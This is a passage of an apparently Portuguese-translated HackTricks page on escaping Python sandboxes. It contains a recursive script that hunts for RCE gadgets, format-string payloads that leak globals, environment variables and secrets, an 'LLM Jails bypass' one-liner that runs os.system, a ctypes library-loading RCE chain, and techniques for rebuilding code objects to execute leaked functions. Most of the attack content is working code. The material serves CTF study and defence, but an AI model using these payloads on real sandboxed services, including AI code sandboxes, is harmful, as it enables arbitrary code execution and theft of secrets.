importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
imp:
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
pip:
pdb:
system: _wrap_close, _wrap_close
getstatusoutput: CompletedProcess, Popen
getoutput: CompletedProcess, Popen
call: CompletedProcess, Popen
Popen: CompletedProcess, Popen
spawn:
import_module:
__import__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec
load_source: NullImporter, _HackedGetData
execfile:
execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""

Pesquisa Recursiva de Builtins, Globals...

Isso é simplesmente incrível. Se você está procurando por um objeto como globals, builtins, open ou qualquer outra coisa, basta usar este script para encontrar recursivamente lugares onde você pode encontrar esse objeto.

import os, sys # Import these to find more gadgets

SEARCH_FOR = {
# Misc
"__globals__": set(),
"builtins": set(),
"__builtins__": set(),
"open": set(),

# RCE libs
"os": set(),
"subprocess": set(),
"commands": set(),
"pty": set(),
"importlib": set(),
"imp": set(),
"sys": set(),
"pip": set(),
"pdb": set(),

# RCE methods
"system": set(),
"popen": set(),
"getstatusoutput": set(),
"getoutput": set(),
"call": set(),
"Popen": set(),
"popen": set(),
"spawn": set(),
"import_module": set(),
"__import__": set(),
"load_source": set(),
"execfile": set(),
"execute": set()
}

#More than 4 is very time consuming
MAX_CONT = 4

#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found
#ALREADY_CHECKED = set()

def check_recursive(element, cont, name, orig_n, orig_i, execute):
# If bigger than maximum, stop
if cont > MAX_CONT:
return

# If already checked, stop
#if name and name in ALREADY_CHECKED:
#    return

# Add to already checked
#if name:
#    ALREADY_CHECKED.add(name)

# If found add to the dict
for k in SEARCH_FOR:
if k in dir(element) or (type(element) is dict and k in element):
SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")

# Continue with the recursivity
for new_element in dir(element):
try:
check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)

# WARNING: Calling random functions sometimes kills the script
# Comment this part if you notice that behaviour!!
if execute:
try:
if callable(getattr(element, new_element)):
check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)
except:
pass

except:
pass

# If in a dict, scan also each key, very important
if type(element) is dict:
for new_element in element:
check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)


def main():
print("Checking from empty string...")
total = [""]
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Empty str {i}", True)

print()
print("Checking loaded subclasses...")
total = "".__class__.__base__.__subclasses__()
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Subclass {i}", True)

print()
print("Checking from global functions...")
total = [print, check_recursive]
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Global func {i}", False)

print()
print(SEARCH_FOR)


if __name__ == "__main__":
main()

Você pode verificar a saída deste script nesta página:

https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md

Python Format String

Se você enviar uma string para o python que vai ser formatada, você pode usar {} para acessar informações internas do python. Você pode usar os exemplos anteriores para acessar globals ou builtins, por exemplo.

# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
"KEY": "ASXFYFGK78989"
}

class PeopleInfo:
def __init__(self, fname, lname):
self.fname = fname
self.lname = lname

def get_name_for_avatar(avatar_str, people_obj):
return avatar_str.format(people_obj = people_obj)

people = PeopleInfo('GEEKS', 'FORGEEKS')

st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)

Note como você pode acessar atributos de uma maneira normal com um ponto como people_obj.__init__ e elemento de dicionário com parênteses sem aspas __globals__[CONFIG]

Também note que você pode usar .__dict__ para enumerar elementos de um objeto get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)

Algumas outras características interessantes das strings de formato são a possibilidade de executar as funções str, repr e ascii no objeto indicado adicionando !s, !r, !a respectivamente:

st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)

Além disso, é possível codificar novos formatadores em classes:

class HAL9000(object):
def __format__(self, format):
if (format == 'open-the-pod-bay-doors'):
return "I'm afraid I can't do that."
return 'HAL 9000'

'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.

Mais exemplos sobre exemplos de string format podem ser encontrados em https://pyformat.info/

Verifique também a seguinte página para gadgets que irão revelar informações sensíveis de objetos internos do Python:

Python Internal Read Gadgets

Payloads de Divulgação de Informações Sensíveis

{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
{whoami.__globals__[os].environ}
{whoami.__globals__[sys].path}
{whoami.__globals__[sys].modules}

# Access an element through several links
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}

# Example from https://corgi.rip/posts/buckeye-writeups/
secret_variable = "clueless"
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
str(x) # Out: clueless

LLM Jails bypass

From here: ().class.base.subclasses()[108].load_module('os').system('dir')

De formato para RCE carregando bibliotecas

De acordo com o TypeMonkey chall deste writeup, é possível carregar bibliotecas arbitrárias do disco abusando da vulnerabilidade de string de formato em python.

Como lembrete, toda vez que uma ação é realizada em python, alguma função é executada. Por exemplo, 2*3 executará (2).mul(3) ou {'a':'b'}['a'] será {'a':'b'}.__getitem__('a').

Você pode encontrar mais como isso na seção Execução de Python sem chamadas.

Uma vulnerabilidade de string de formato em python não permite executar funções (não permite o uso de parênteses), então não é possível obter RCE como '{0.system("/bin/sh")}'.format(os). No entanto, é possível usar []. Portanto, se uma biblioteca python comum tiver um método __getitem__ ou __getattr__ que execute código arbitrário, é possível abusar deles para obter RCE.

Procurando por um gadget assim em python, o writeup sugere esta consulta de busca no Github. Onde ele encontrou este aqui:

class LibraryLoader(object):
def __init__(self, dlltype):
self._dlltype = dlltype

def __getattr__(self, name):
if name[0] == '_':
raise AttributeError(name)
try:
dll = self._dlltype(name)
except OSError:
raise AttributeError(name)
setattr(self, name, dll)
return dll

def __getitem__(self, name):
return getattr(self, name)

cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)

Este gadget permite carregar uma biblioteca do disco. Portanto, é necessário de alguma forma escrever ou fazer upload da biblioteca para carregar corretamente compilada no servidor atacado.

'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'

A challenge na verdade explora outra vulnerabilidade no servidor que permite criar arquivos arbitrários no disco dos servidores.

Dissecando Objetos Python

Se você quiser aprender sobre bytecode python em profundidade, leia este incrível post sobre o tópico: https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d

Em alguns CTFs, você pode receber o nome de uma função personalizada onde a flag reside e você precisa ver os internos da função para extraí-la.

Esta é a função a ser inspecionada:

def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
if some_input == var2:
return "THIS-IS-THE-FALG!"
else:
return "Nope"

dir

dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag) #Get info tof the function
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']

globals

__globals__ e func_globals (Mesma coisa) Obtém o ambiente global. No exemplo, você pode ver alguns módulos importados, algumas variáveis globais e seu conteúdo declarado:

get_flag.func_globals
get_flag.__globals__
{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}

#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__

Veja aqui mais lugares para obter globais

Acessando o código da função

__code__ e func_code: Você pode acessar este atributo da função para obter o objeto de código da função.

# In our current example
get_flag.__code__
<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1

# Compiling some python code
compile("print(5)", "", "single")
<code object <module> at 0x7f9ca01330c0, file "", line 1>

#Get the attributes of the code object
dir(get_flag.__code__)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']

Obtendo Informações do Código

# Another example
s = '''
a = 5
b = 'text'
def f(x):
return x
f(5)
'''
c=compile(s, "", "exec")

# __doc__: Get the description of the function, if any
print.__doc__

# co_consts: Constants
get_flag.__code__.co_consts
(None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')

c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.
(5, 'text', <code object f at 0x7f9ca0133540, file "", line 4>, 'f', None

# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
get_flag.__code__.co_names
()

c.co_names
('a', 'b', 'f')


#co_varnames: Local names used by the bytecode (arguments first, then the local variables)
get_flag.__code__.co_varnames
('some_input', 'var1', 'var2', 'var3')

#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.
get_flag.__code__.co_cellvars
()

#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.
get_flag.__code__.co_freevars
()

#Get bytecode
get_flag.__code__.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'

Desmontar uma função

import dis
dis.dis(get_flag)
2           0 LOAD_CONST               1 (1)
3 STORE_FAST               1 (var1)

3           6 LOAD_CONST               2 ('secretcode')
9 STORE_FAST               2 (var2)

4          12 LOAD_CONST               3 ('some')
15 LOAD_CONST               4 ('array')
18 BUILD_LIST               2
21 STORE_FAST               3 (var3)

5          24 LOAD_FAST                0 (some_input)
27 LOAD_FAST                2 (var2)
30 COMPARE_OP               2 (==)
33 POP_JUMP_IF_FALSE       40

6          36 LOAD_CONST               5 ('THIS-IS-THE-FLAG!')
39 RETURN_VALUE

8     >>   40 LOAD_CONST               6 ('Nope')
43 RETURN_VALUE
44 LOAD_CONST               0 (None)
47 RETURN_VALUE

Observe que se você não conseguir importar dis no sandbox do python você pode obter o bytecode da função (get_flag.func_code.co_code) e desmontá-lo localmente. Você não verá o conteúdo das variáveis sendo carregadas (LOAD_CONST), mas pode inferi-las a partir de (get_flag.func_code.co_consts), porque LOAD_CONST também indica o deslocamento da variável sendo carregada.

dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST          1 (1)
3 STORE_FAST          1 (1)
6 LOAD_CONST          2 (2)
9 STORE_FAST          2 (2)
12 LOAD_CONST          3 (3)
15 LOAD_CONST          4 (4)
18 BUILD_LIST          2
21 STORE_FAST          3 (3)
24 LOAD_FAST           0 (0)
27 LOAD_FAST           2 (2)
30 COMPARE_OP          2 (==)
33 POP_JUMP_IF_FALSE    40
36 LOAD_CONST          5 (5)
39 RETURN_VALUE
>>   40 LOAD_CONST          6 (6)
43 RETURN_VALUE
44 LOAD_CONST          0 (0)
47 RETURN_VALUE

Compilando Python

Agora, vamos imaginar que de alguma forma você pode extrair as informações sobre uma função que você não pode executar, mas você precisa executá-la. Como no exemplo a seguir, você pode acessar o objeto de código dessa função, mas apenas lendo o desassemblado você não sabe como calcular a flag (imagine uma função calc_flag mais complexa)

def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
def calc_flag(flag_rot2):
return ''.join(chr(ord(c)-2) for c in flag_rot2)
if some_input == var2:
return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"

Criando o objeto de código

Primeiro de tudo, precisamos saber como criar e executar um objeto de código para que possamos criar um para executar nossa função leak:

code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
code_obj = code_type(co_argcount, co_kwonlyargcount,
co_nlocals, co_stacksize, co_flags,
co_code, co_consts, co_names,
co_varnames, co_filename, co_name,
co_firstlineno, co_lnotab, freevars=None,
cellvars=None)

# Execution
eval(code_obj) #Execute as a whole script

# If you have the code of a function, execute it
mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")

Dependendo da versão do python, os parâmetros de code_type podem ter uma ordem diferente. A melhor maneira de saber a ordem dos parâmetros na versão do python que você está executando é executar:

import types
types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n      flags, codestring, constants, names, varnames, filename, name,\n      firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object.  Not for the faint of heart.'

Recriando uma função vazada

No exemplo a seguir, vamos pegar todos os dados necessários para recriar a função diretamente do objeto de código da função. Em um exemplo real, todos os valores para executar a função code_type é o que você precisará vazar.

fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)

mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag

Bypass Defenses

Nos exemplos anteriores no início deste post, você pode ver como executar qualquer código python usando a função compile. Isso é interessante porque você pode executar scripts inteiros com loops e tudo em uma linha única (e poderíamos fazer o mesmo usando exec). De qualquer forma, às vezes pode ser útil criar um objeto compilado em uma máquina local e executá-lo na máquina CTF (por exemplo, porque não temos a função compiled no CTF).

Por exemplo, vamos compilar e executar manualmente uma função que lê ./poc.py:

#Locally
def read():
return open("./poc.py",'r').read()

read.__code__.co_code
't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'

#On Remote
function_type = type(lambda: None)
code_type = type((lambda: None).__code__) #Get <type 'type'>
consts = (None, "./poc.py", 'r')
bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
names = ('open','read')

# And execute it using eval/exec
eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))

#You could also execute it directly
mydict = {}
mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()

Se você não pode acessar eval ou exec, você poderia criar uma função adequada, mas chamá-la diretamente geralmente falhará com: construtor não acessível em modo restrito. Portanto, você precisa de uma função que não esteja no ambiente restrito para chamar essa função.

#Compile a regular print
ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)

Decompilando Python Compilado

Usando ferramentas como https://www.decompiler.com/, é possível decompilar um código python compilado.

Confira este tutorial:

Decompile compiled python binaries (exe, elf) - Retreive from .pyc

Misc Python

Assert

Python executado com otimizações com o parâmetro -O removerá declarações de assert e qualquer código condicional ao valor de debug. Portanto, verificações como

def check_permission(super_user):
try:
assert(super_user)
print("\nYou are a super user\n")
except AssertionError:
print(f"\nNot a Super User!!!\n")

will be bypassed

Referências

• https://lbarman.ch/blog/pyjail/

• https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/

• https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/

• https://gynvael.coldwind.pl/n/python_sandbox_escape

• https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html

• https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6

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